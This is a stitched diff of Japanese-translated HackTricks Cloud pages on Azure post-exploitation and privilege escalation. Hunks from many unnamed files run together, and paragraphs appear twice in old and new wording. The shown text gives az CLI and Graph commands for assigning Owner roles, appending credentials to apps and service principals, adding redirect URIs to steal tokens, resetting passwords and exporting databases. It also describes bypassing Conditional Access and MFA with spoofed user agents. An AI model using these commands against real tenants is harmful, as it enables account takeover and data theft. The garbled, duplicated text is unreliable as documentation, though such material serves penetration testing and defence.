Azure Service Bus 名前空間を作成または変更する権限を持つ攻撃者は、これを利用して操作を妨害したり、無許可のリソースを展開したり、機密データを露出させたりすることができます。彼らは、パブリックネットワークアクセスの有効化、暗号化設定のダウングレード、またはパフォーマンスを低下させたりコストを増加させたりするための SKU の変更など、重要な設定を変更することができます。さらに、ローカル認証を無効にしたり、レプリカの場所を操作したり、TLS バージョンを調整してセキュリティ制御を弱体化させることができるため、名前空間の誤設定は重要なポストエクスプロイテーションリスクとなります。
```bash
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
@@ -50,14 +50,14 @@ az servicebus queue update --resource-group <ResourceGroupName> --namespace-name
```
### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
Azure Service Bus 名前空間内でトピックを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを妨害したり、機密データを露出させたり、無許可のアクションを有効にしたりすることができます。az servicebus topic updateのようなコマンドを使用して、スケーラビリティの悪用のためにパーティショニングを有効にしたり、メッセージを不適切に保持または破棄するためにTTL設定を変更したり、制御を回避するために重複検出を無効にしたりするなどの構成を操作できます。さらに、トピックのサイズ制限を調整したり、可用性を妨害するためにステータスを変更したり、インターセプトされたメッセージを一時的に保存するためにエクスプレストピックを構成したりすることができるため、トピック管理はポストエクスプロイテーションの緩和において重要な焦点となります。
Azure Service Bus 名前空間内でトピックを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを妨害したり、機密データを露出させたり、無許可のアクションを有効にしたりすることができます。az servicebus topic updateのようなコマンドを使用して、スケーラビリティの悪用のためにパーティショニングを有効にしたり、メッセージを不適切に保持または破棄するためにTTL設定を変更したり、制御を回避するために重複検出を無効にしたりするなどの構成を操作できます。さらに、トピックのサイズ制限を調整したり、ステータスを変更して可用性を妨害したり、インターセプトされたメッセージを一時的に保存するためにエクスプレス トピックを構成したりすることができるため、トピック管理はポストエクスプロイテーションの緩和において重要な焦点となります。
```bash
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
```
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)
Azure Service Bus トピック内でサブスクリプションを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを傍受、再ルーティング、または中断することができます。az servicebus topic subscription updateのようなコマンドを使用して、メッセージを転送するためにデッドレターを有効にする、無許可のエンドポイントにメッセージを転送する、またはメッセージ配信を保持または干渉するためにTTLロック期間を変更するなどの設定を操作できます。さらに、ステータスや最大配信回数の設定を変更して操作を中断させたり、検出を回避したりすることができるため、サブスクリプション制御はポストエクスプロイテーションシナリオの重要な側面となります。
Azure Service Bus トピック内でサブスクリプションを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを傍受、再ルーティング、または中断することができます。az servicebus topic subscription updateのようなコマンドを使用して、メッセージを転送するためにデッドレターを有効にする、未承認のエンドポイントにメッセージを転送する、またはメッセージ配信を保持または干渉するためにTTLおよびロック期間を変更するなどの設定を操作できます。さらに、ステータスや最大配信回数の設定を変更して操作を中断させたり、検出を回避したりすることができるため、サブスクリプション制御はポストエクスプロイテーションシナリオの重要な側面となります。
```bash
az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
@@ -4,7 +4,7 @@
## SQL Database Post Exploitation
SQL Databaseに関する詳細情報は以下を参照してください:
SQL Databaseに関する詳細情報は以下を確認してください:
{{#ref}}
../az-services/az-sql.md
@@ -12,7 +12,7 @@ SQL Databaseに関する詳細情報は以下を参照してください:
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新することができます。このポストエクスプロイ活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新できます。このポストエクスプロイテーション活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
@@ -22,7 +22,7 @@ az sql db update --resource-group <resource-group> --server <server-name> --name
```
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
これらの権限を持つ攻撃者は、侵害された環境内でelasticPoolsを作成および更新できます。このポストエクスプロイ活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
これらの権限を持つ攻撃者は、侵害された環境内でelasticPoolsを作成および更新できます。このポストエクスプロイテーション活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
```bash
# Create Elastic Pool
az sql elastic-pool create \
@@ -42,7 +42,7 @@ az sql elastic-pool update \
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や認可されたユーザーが監査構成を操作し、痕跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意Blob Storageを使用してAzure SQL Serverの監査を有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。
この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や認可されたユーザーが監査構成を操作し、痕跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意: Blob Storageを使用してAzure SQL Serverの監査を有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。
```bash
az sql server audit-policy update \
--server <server_name> \
@@ -62,7 +62,7 @@ az sql server connection-policy update \
```
### "Microsoft.Sql/servers/databases/export/action"
この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから敏感なデータをエクスポートして自分が管理する場所に持ち出すことができ、重大なデータ漏洩リスクを引き起こします。これを実行するには、ストレージキーを知っておくことが重要です。
この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから敏感なデータをエクスポートして自分が管理する場所に持ち出すことができ、重大なデータ漏洩リスクをもたらします。これを実行するには、ストレージキーを知っておくことが重要です。
```bash
az sql db export \
--server <server_name> \
@@ -76,7 +76,7 @@ az sql db export \
```
### "Microsoft.Sql/servers/databases/import/action"
この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込ことができます。さらに、自分のAzureサーバーにインポートすることもできます。注意: サーバーはAzureサービスとリソースがサーバーにアクセスすることを許可する必要があります。
この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込んだりすることができます。さらに、Azure内の自分のサーバーにインポートすることもできます。注意: サーバーはAzureサービスとリソースがサーバーにアクセスすることを許可する必要があります。
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
@@ -4,7 +4,7 @@
## Table Storage Post Exploitation
テーブルストレージに関する詳細情報は、以下を参照してください:
テーブルストレージに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-table-storage.md
@@ -12,11 +12,11 @@ Azure VMs とネットワーキングに関する詳細情報は、以下のペ
### VM アプリケーションピボッティング
VM アプリケーションは、他のサブスクリプションやテナントと共有できます。アプリケーションが共有されている場合、それはおそらく使用されているためです。したがって、攻撃者が **アプリケーションを侵害し、バックドア付きの** バージョンをアップロードすることに成功すれば、**別のテナントやサブスクリプションで実行される可能性があります**。
VM アプリケーションは、他のサブスクリプションやテナントと共有できます。アプリケーションが共有されている場合、それはおそらく使用されているためです。したがって、攻撃者が **アプリケーションを侵害し、バックドア付きの** バージョンをアップロードすることに成功すれば、それが **別のテナントやサブスクリプションで実行される可能性があります**
### 画像内の機密情報
過去に取得た VM からの **画像内に機密情報が存在する可能性があります**
過去に取得された VM の画像内に **機密情報を見つけることができる可能性があります**
1. **ギャラリーから画像をリストする**
```bash
@@ -40,7 +40,7 @@ az sig image-version list \
```bash
az image list -o table
```
3. **イメージIDからVMを作成**し、その中に機密情報がないか検索す
3. **画像IDからVMを作成**し、その中に機密情報がないか検索しま
```bash
# Create VM from image
az vm create \
@@ -52,7 +52,7 @@ az vm create \
```
### リストアポイント内の機密情報
**リストアポイント内に機密情報を見つけることができるかもしれません**
**リストアポイント内に機密情報が存在する可能性があります**
1. **リストアポイントをリストする**
```bash
@@ -68,7 +68,7 @@ az disk create \
--name <NEW_DISK_NAME> \
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
```
3. **VMにディスクをアタッチする**(攻撃者はすでにアカウント内のVMを侵害している必要があります)
3. **ディスクをVMにアタッチする**(攻撃者はすでにアカウント内のVMを侵害している必要があります)
```bash
az vm disk attach \
--resource-group <RESOURCE_GROUP> \
@@ -106,7 +106,7 @@ sudo mount /dev/sdX1 /mnt/mydisk
#### **3. ディスクを初期化する**
1. ディスクが初期化されていない場合、右クリックして**ディスクの初期化**を選択します。
1. ディスクが初期化されていない場合、右クリックして**ディスクの初期化**を選択します。
2. パーティションスタイルを選択します:
- **MBR**(マスターブートレコード)または**GPT**(GUIDパーティションテーブル)。現代のシステムにはGPTが推奨されます。
@@ -139,9 +139,9 @@ az disk create \
```
3. **ディスクをVMにアタッチしてマウント**し、機密情報を検索します(これを行う方法については前のセクションを確認してください)
### VM拡張機能およびVMアプリケーション内の機密情報
### VM拡張機能VMアプリケーション内の機密情報
**VM拡張機能およびVMアプリケーション内に機密情報を見つけることができるかもしれません**
**VM拡張機能VMアプリケーション内に機密情報を見つけることができるかもしれません**
1. **すべてのVMアプリをリストアップ**
```bash
@@ -4,7 +4,7 @@
## App Services
Azure Appサービスに関する詳細情報は、以下を確認してください:
Azure App Servicesに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-app-service.md
@@ -4,7 +4,7 @@
## Azure IAM
詳細については、次を確認してください
詳細については、次を確認してください:
{{#ref}}
../az-services/az-azuread.md
@@ -12,7 +12,7 @@
### Microsoft.Authorization/roleAssignments/write
この権限は、特定のスコープに対してプリンシパルに役割を割り当てることを許可し、攻撃者が自分自身により特権のある役割を割り当てることで権限を昇格させることを可能にします
この権限は、特定のスコープに対してプリンシパルに役割を割り当てることを許可し、攻撃者が自分自身により特権のある役割を割り当てることで権限を昇格させることを可能にします:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
@@ -34,7 +34,7 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
"AssignableScopes": ["/subscriptions/<subscription-id>"]
}
```
その後、前の定義を呼び出して役割の権限を更新します:
その後、前の定義を呼び出してロールの権限を更新します:
```bash
az role definition update --role-definition role.json
```
@@ -55,7 +55,7 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
この権限は、管理されたアイデンティティにフェデレーテッド資格情報を追加することを許可します。例えば、リポジトリ内のGithub Actionsに管理されたアイデンティティへのアクセスを付与します。次に、**ユーザー定義の管理されたアイデンティティにアクセスすることを許可します**。
管理されたアイデンティティにGithubのリポジトリへのアクセスを付与するための例コマンド
管理されたアイデンティティにGithubのリポジトリへのアクセスを付与するための例コマンド:
```bash
# Generic example:
az rest --method PUT \
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> **Entra ID**における組み込みロールの**すべての詳細な権限**カスタムロールで使用できるわけではないことに注意してください。
> **Entra ID** における **すべての詳細な権限** を持つ組み込みロールが **カスタムロールで使用できるわけではない** ことに注意してください。
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
このロールには、プリンシパルにロールを割り当て、ロールにより多くの権限を与えるために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。
このロールには、プリンシパルにロールを割り当て、ロールに対してより多くの権限を付与するために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。
- ユーザーにロールを割り当てる:
```bash
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- ロールにさらに権限を追加する:
- ロールに権限を追加する:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
これにより、攻撃者は既存のアプリケーションに**資格情報**(パスワードまたは証明書)を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その権を取得できます。
これにより、攻撃者は既存のアプリケーションに**資格情報**(パスワードまたは証明書)を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その権を取得できます。
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
これは`applications/credentials/update`と同じアクションを許可しますが、単一ディレクトリアプリケーションにスコープを限定しています。
これは `applications/credentials/update` と同じアクションを許可しますが、単一ディレクトリアプリケーションにスコープされています。
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作できるようになり、資格情報や権限を含むことができます。
攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作でき、資格情報や権限を含むことができます。
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -79,7 +79,7 @@ az ad app owner list --id <appId>
攻撃者は、テナントのユーザーによって使用されているアプリケーションにリダイレクトURIを追加し、新しいリダイレクトURLを使用したログインURLを共有することで、トークンを盗むことができます。ユーザーがすでにアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。
アプリケーションが要求する権限を変更して、より多くの権限を取得することも可能ですが、この場合、ユーザーはすべての権限を要求するプロンプトを再度承認する必要があります。
また、アプリケーションが要求する権限を変更して、より多くの権限を取得することも可能ですが、この場合、ユーザーはすべての権限を要求するプロンプトを再度承認する必要があります。
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -98,7 +98,7 @@ az ad sp credential reset --id <sp-id> --append
> 新しく生成されたパスワードはウェブコンソールに表示されないため、これはサービスプリンシパルに対して持続性を維持するための隠れた方法となる可能性があります。\
> APIからは次のコマンドで見つけることができます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
もしエラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が表示された場合、それは**SPのpasswordCredentialsプロパティを変更することはできないため**であり、最初にロックを解除する必要があります。そのためには、次のコマンドを実行するための権限(`microsoft.directory/applications/allProperties/update`が必要です:
エラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が表示された場合、それは **SPのpasswordCredentialsプロパティを変更することはできないため** であり、最初にロックを解除する必要があります。そのためには、実行を許可する権限 (`microsoft.directory/applications/allProperties/update`) が必要です:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
@@ -110,7 +110,7 @@ az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
アプリケーションと同様に、この権限はサービスプリンシパルに追加のオーナーを追加することを許可します。サービスプリンシパルを所有することは、その資格情報と権限を制御することを可能にします。
アプリケーションと同様に、この権限はサービスプリンシパルに追加のオーナーを追加することを許可します。サービスプリンシパルのオーナーであることは、その資格情報と権限を制御することを可能にします。
```bash
# Add new owner
spId="<spId>"
@@ -128,13 +128,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> 新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために使用する必要があるメソッドであってもです。したがって、**現在オーナーを削除することはできません**。
> 新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために使用する必要があるメソッドであってもです。したがって、**現在オーナーを削除できません**。
### `microsoft.directory/servicePrincipals/disable` と `enable`
これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、何らかの方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。
これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、特定の方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。
この技術では、攻撃者が有効にされたサービスプリンシパルを引き継ぐために、さらに多くの権限が必要であることに注意してください。
この技術では、攻撃者が有効にされたサービスプリンシパルを乗っ取るために、さらに多くの権限が必要であることに注意してください。
```bash
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -218,13 +218,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーに対して特権を昇格させることを可能にします。この権限はカスタムロールに割り当てることはできません。
この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーに対して特権を昇格させることを可能にします。この権限はカスタムロールに割り当てることはできません。
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
この権限はユーザーのプロパティを変更することを許可します。プロパティ値に基づいてユーザーを追加する動的グループを見つけることは一般的であるため、この権限ユーザー特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることを可能にする可能性があります。
この権限はユーザーのプロパティを変更することを許可します。プロパティ値に基づいてユーザーを追加する動的グループが一般的に見られるため、この権限によりユーザー特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができる可能性があります。
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -252,7 +252,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
この権限、攻撃者デバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータに対する制御またはアクセスを得ることを可能にします。
この権限により、攻撃者デバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータへの制御またはアクセスを得ることができます。
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -274,7 +274,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
この権限は、攻撃者がMicrosoft Entraに参加しデバイスのバックアップされたローカル管理者アカウントの資格情報のプロパティを読み取ることを許可します。これにはパスワードが含まれます。
この権限は、攻撃者がMicrosoft Entraに参加しているデバイスのバックアップされたローカル管理者アカウントの資格情報のプロパティを読み取ることを許可します。これにはパスワードが含まれます。
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -4,87 +4,87 @@
## 基本情報
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスやアプリケーションへのアクセス制御を強制するために Microsoft Azure設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
Conditional access policies は基本的に **誰が** **何に** **どこから** **どのように** アクセスできるかを **定義** します。
Azure Conditional Accessポリシーは、特定の**条件**に基づいてAzureサービスやアプリケーションへのアクセス制御を強制するためにMicrosoft Azure設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
Conditional accessポリシーは基本的に**誰が**、**何に**、**どこから**、**どのように**アクセスできるかを**定義**します。
いくつかの例を挙げます:
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を促すことができます。
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
1. **サインインリスクポリシー**このポリシーは、サインインリスクが検出された場合に多要素認証MFAを要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を求めることができます。
2. **デバイスコンプライアンスポリシー**このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみがAzureサービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
## Conditional Access Policies Bypasses
## Conditional Accessポリシーのバイパス
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーのバイパスを許可する** ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
Conditional accessポリシーが**簡単に改ざんできる情報をチェックしている可能性があり、ポリシーのバイパスが可能です**。たとえば、ポリシーがMFAを設定している場合、攻撃者はそれをバイパスできるでしょう。
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー****ターゲットリソース** (すべてのクラウドアプリなど) を指定する必要があります。
Conditional accessポリシーを設定する際には、**影響を受けるユーザー****ターゲットリソース**すべてのクラウドアプリなどを指定する必要があります。
また、ポリシーを **トリガー** する **条件** を設定する必要があります:
また、ポリシーを**トリガー**する**条件**を設定する必要があります:
- **ネットワーク**: IP、IP 範囲、地理的位置
- VPN またはプロキシを使用して国に接続するか、許可された IP アドレスからログインすることでバイパス可能
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
- **クライアントアプリ**: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」および「その他のクライアント」
- 選択されていないオプションでログインをバイパスする
- **デバイスフィルタ**: 使用されているデバイスに関連するルールを生成可能
- **認証フロー**: オプションは「デバイスコードフロー」と「認証転送」
- **ネットワーク**IP、IP範囲、地理的位置
- VPNプロキシを使用して許可されたIPアドレスからログインすることでバイパス可能
- **Microsoftリスク**ユーザーリスク、サインインリスク、内部者リスク
- **デバイスプラットフォーム**任意のデバイスまたはAndroid、iOS、Windows Phone、Windows、macOS、Linuxを選択
- 「任意のデバイス」が選択されていないが他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
- **クライアントアプリ**オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSyncクライアント」「その他のクライアント」
- 選択されていないオプションでログインをバイパス
- **デバイスフィルタ**使用されるデバイスに関連するルールを生成可能
- **認証フロー**オプションは「デバイスコードフロー」と「認証転送」
- これは、攻撃者がフィッシング攻撃で被害者のアカウントにアクセスしようとしない限り、影響を与えません
可能な **結果** は:ブロックまたはアクセスを許可し、MFA を要求する、デバイスが準拠しているなどの条件が付くことがあります…
可能な**結果**は:ブロックまたはアクセスを許可し、MFAを要求するなどの条件が付く可能性があります…
### デバイスプラットフォーム - デバイス条件
**デバイスプラットフォーム** (Android、iOS、Windows、macOS...) に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェント** を使用すれば、MFA またはブロックをバイパスできます:
**デバイスプラットフォーム**Android、iOS、Windows、macOSなど)に基づいて条件を設定することが可能ですが、これは**ユーザーエージェント**に基づいているため、バイパスが容易です。すべてのオプションでMFAを強制しても、**認識されないユーザーエージェント**を使用すれば、MFAまたはブロックをバイパスできます:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
ブラウザに **不明なユーザーエージェント** (例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを **手動で** 変更できます:
ブラウザに**不明なユーザーエージェント**(例:`Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`を送信させるだけで、この条件をトリガーしないようにできます。\
開発者ツールでユーザーエージェントを**手動で**変更できます:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;または [このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) を使用できます。
&#x20;または[このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)を使用できます。
### ロケーション: 国、IP 範囲 - デバイス条件
### ロケーション国、IP範囲 - デバイス条件
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国****VPN** を使用するか、**許可された IP アドレス** からアクセスする方法を見つけることで、これらの条件をバイパスできます。
これが条件付きポリシーに設定されている場合、攻撃者は**許可された国**で**VPN**を使用するか、**許可されたIPアドレス**からアクセスする方法を見つけることで、これらの条件をバイパスできます。
### クラウドアプリ
特定のアプリにアクセスしようとするユーザーに対して、MFA をブロックまたは強制する **条件付きアクセス ポリシーを設定する** ことが可能です:
特定のアプリにアクセスしようとするユーザーに対して、MFAをブロックまたは強制する**条件付きアクセスポリシーを設定することが可能です**
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるか** を確認する必要があります。\
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) には **ハードコーディングされた数十のアプリケーション ID** があり、それらにログインしようとし、成功した場合はトークンを提供します。
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるかどうか**を確認する必要があります。\
ツール[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)は、**ハードコーディングされた数十のアプリケーションID**を持ち、それらにログインしようとし、成功した場合はトークンを提供します。
特定のリソース内の **特定のアプリケーション ID をテストする** ために、次のようなツールを使用することもできます:
特定のリソース**特定のアプリケーションIDをテストする**ために、次のようなツールを使用することもできます:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
さらに、ログイン方法を保護することも可能です(例えば、ブラウザからまたはデスクトップアプリケーションからログインしようとしている場合)。ツール [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) は、この保護をバイパスしようとするいくつかのチェックを実行します。
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
ツール [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは **ホワイトボックス** の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。
## Other Az MFA Bypasses
## その他の Az MFA バイパス
### Ring tone
### 着信音
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
